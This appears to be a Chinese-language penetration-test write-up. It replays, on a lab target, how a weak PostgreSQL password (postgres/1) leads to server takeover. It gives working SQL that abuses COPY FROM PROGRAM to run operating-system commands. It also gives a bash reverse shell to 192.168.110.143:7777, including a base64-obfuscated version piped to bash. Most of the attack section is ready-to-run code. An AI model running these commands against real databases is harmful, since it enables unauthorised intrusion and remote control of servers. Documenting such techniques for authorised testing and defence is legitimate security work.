记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。
使用靶机复现攻击过程。
过程
在信息收集过程中,获取到在公网服务器上开启了5432端口,尝试进行暴破,获取到数据库名为默认postgres,密码为1
随后连接进PostgreSql
已知从9.3版本开始,postgresql新增copy to/from program
功能,允许数据库的超级用户以及pg_read_server_files
组中的任何用户执行操作系统命令。
利用条件:
- 超级用户权限
- 版本9.3-11.2
默认数据库postgres已经是超级用户权限,然后需要确认数据库版本
查看PostgreSql版本
以上两个条件均具备,说明该漏洞可以利用
执行命令,获取用户id及群组id
-- 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;
-- 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
-- 执行系统命令利用特定函数
COPY cmd_exec FROM PROGRAM 'id';
-- 查看执行结果
SELECT * FROM cmd_exec;
命令可以正常执行,随后执行反弹shell命令尝试获取交互shell
控制端使用nc开启监听
在数据库中执行如下命令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.110.143/7777 0>&1';
SELECT * FROM cmd_exec;
在实战中使用上述命令可以正常反弹shell,但是在靶场中执行会产生报错信息ERROR: program "/bin/bash -i >& /dev/tcp/192.168.110.143/7777 0>&1" failed
DETAIL: child process exited with exit code 2
尝试对反弹shell命令进行编码
echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEK" | base64 -d | bash
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEK" | base64 -d | bash';
SELECT * FROM cmd_exec;
执行后成功获取到shell